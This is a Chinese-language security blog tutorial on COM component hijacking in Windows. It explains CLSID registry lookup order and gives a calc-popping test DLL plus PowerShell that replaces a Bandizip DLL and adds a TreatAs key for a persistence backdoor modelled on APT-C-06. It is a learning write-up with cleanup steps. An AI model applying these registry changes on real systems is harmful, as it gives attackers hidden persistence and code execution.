Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

COM组件劫持学习:从初识到简单利用

本文简要介绍了COM组件的劫持原理,展示了几种常见的劫持方法。

0x01 基础知识

COM组件

什么是COM组件?它又有什么用呢?根据百度百科的说法,COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。

一句话总结:COM组件在需要的时候可以被调用,并提供相应功能。更为详细的学习可以看官方文档

CLSID

CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。上文提到COM组件在需要的时候会被调用,就是通过CLSID来识别调用的。关于CLSID更为详细的介绍可以看官方文档

常见的CLSID:

1
2
3
{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

通过WIN+R调用,输入**::{450D8FBA-AD25-11D0-98A8-0800361B1103}**,回车确认后打开我的文档。

image-20211118160207211

COM组件劫持原理

一般来说,COM组件在被调用加载过程中会寻找注册表三个位置:

  1. HKCU\Software\Classes\CLSID\{CLSID}
  2. HKCR\CLSID\{CLSID}
  3. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\{CLSID}

每一个CLSID键下会有一个基本子键LocalServer32InprocServer32,它两的键值代表该COM组件提供的功能。其中LocalServer32的默认键值一般表示可执行文件(exe)的路径,而InprocServer32的默认键值表示动态链接库(DLL)的路径。也可以有其他的子键,如图中所示的ThreadingModel作用是标记该DLL的线程模型,更为详细的介绍可以看微软官方文档

image-20211118144419202

所以,根据COM调用加载过程很直观的可以看出理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
  • 修改掉LocalServer32InprocServer32的键值。
  • 替换掉LocalServer32InprocServer32的键值中的文件。

关于COM组件劫持技术更为准确的定义可以看Mitre ATT&CK框架中的COM劫持部分。

0x02 COM劫持实操

首先用VS生成一个测试用的calculator_x64.dll,这里的dll功能是弹出计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
int payload() {
system("calc.exe");
return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

多种调用方式

上文提到过通过WIN+R可以调用一些Windows内置的CLSID,除此之外还可以通过多种方式调用CLSID。(注:这里指的调用都是为了测试劫持效果,非COM的使用方式。)

1
2
3
rundll32.exe -sta {CLSID}
verclsid.exe /S /C {CLSID}
xwizard.exe RunWizard /taero /u {CLSID}

覆盖劫持

以上图的Bandzip中的一个COM服务为例,通过将原本的bdzshl.x64.dll文件替换掉来达到劫持效果。

1
2
3
4
5
6
7
8
#备份原有的bdzshl.x64.dll文件,移入制作好的calculator_x64.dll为bdzshl.x64.dll
Set-location -Path "C:\Program Files\Bandizip"
Move-Item bdzshl.x64.dll bdzshl.x64.dll.bak
Copy-Item C:\tmp\calculator_x64.dll bdzshl.x64.dll
#调用{CLSID}测试
cmd /c 'rundll32.exe -sta {5B69A6B4-393B-459C-8EBB-214237A9E7AC}'
#还原环境
Move-Item bdzshl.x64.dll.bak bdzshl.x64.dll -Force

image-20211118211437026

上述提到的其余两种方法类似操作,这里就不再赘述,下面再介绍一种别的方法。

0x03 通过TreatAS键劫持实现持久化后门

在{CLSID}下还可以存在着一个TreatAS子键,使用TreatAS子键可以链接到别的{CLSID}中。更为详尽的介绍可以看官方文档

1
COM调用 => {CLSID} => TreatAs键 => 读取TreatAs默认值  => 跳转指定的{CLSID}

APT-C-06组织曾利用过这种COM劫持方法来做持久化后门。

COM劫持

攻击者在注册表 HKLM\software\classes\CLSID\ 下添加一个不存在的CLSID节点结构,例如{C5602CE6-9B79-11D3-B654-581BBAEF8DBA},并将键值设置成恶意文件的路径,然后再在家庭网络配置管理器的CLSID节点{46C166AA-3108-11D4-9348-00C04F8EEB71}下新建TreatAs项,并将键值设置成{C5602CE6-9B79-11D3-B654-581BBAEF8DBA},再重启服务,这样当系统引用家庭网络配置管理器的CLSID时就会链接到新的CLSID上,从而加载恶意文件,达到COM劫持的目的。

引用自:Darkhotel(APT-C-06)组织利用Thinmon后门框架的多起攻击活动揭秘

按照上文给的说明来使用Powershell复现一下通过TreatAs键做COM劫持(注:需要足够的权限)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer32" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

image-20211119114327714

注册表中原有的家庭网络配置管理器的CLSID节点多了一个TreatAs键指向{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}

image-20211119114445808

{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}中的内容为

image-20211119134858899

0x04 后记

由于个人水平有限,可能有些地方没有表述清楚抑或表述错误,所以能给出官方文档的地方都给出了链接。